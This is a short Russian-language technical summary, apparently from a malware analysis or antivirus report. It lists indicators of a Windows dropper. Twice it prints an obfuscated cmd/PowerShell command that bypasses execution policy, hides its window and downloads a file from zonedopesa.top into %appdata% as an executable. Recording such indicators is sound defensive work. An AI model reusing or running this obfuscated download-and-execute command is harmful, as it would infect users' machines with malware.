Техническая информация
- http://www.zonedopesa.top/read.php?f=1.gif как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "PO^wErsH^ELl^.eXE^ ^-EXe^CUTIoNP^oL^IcY^ By^pASS ^-noProF^Ile -wI^nDO^W^ST^ylE ^h^iDDeN (^new-oBJ^E^CT sYstE^M.n^eT.We^b^ClIE^Nt).Dow^NlOa^D^f^I^l^e('http://www.zonedopesa.top/r...
- DNS ASK zo###opesa.top
- '<SYSTEM32>\cmd.exe' /c "PO^wErsH^ELl^.eXE^ ^-EXe^CUTIoNP^oL^IcY^ By^pASS ^-noProF^Ile -wI^nDO^W^ST^ylE ^h^iDDeN (^new-oBJ^E^CT sYstE^M.n^eT.We^b^ClIE^Nt).Dow^NlOa^D^f^I^l^e('http://www.zonedopesa.top/r...' (со скрытым окном)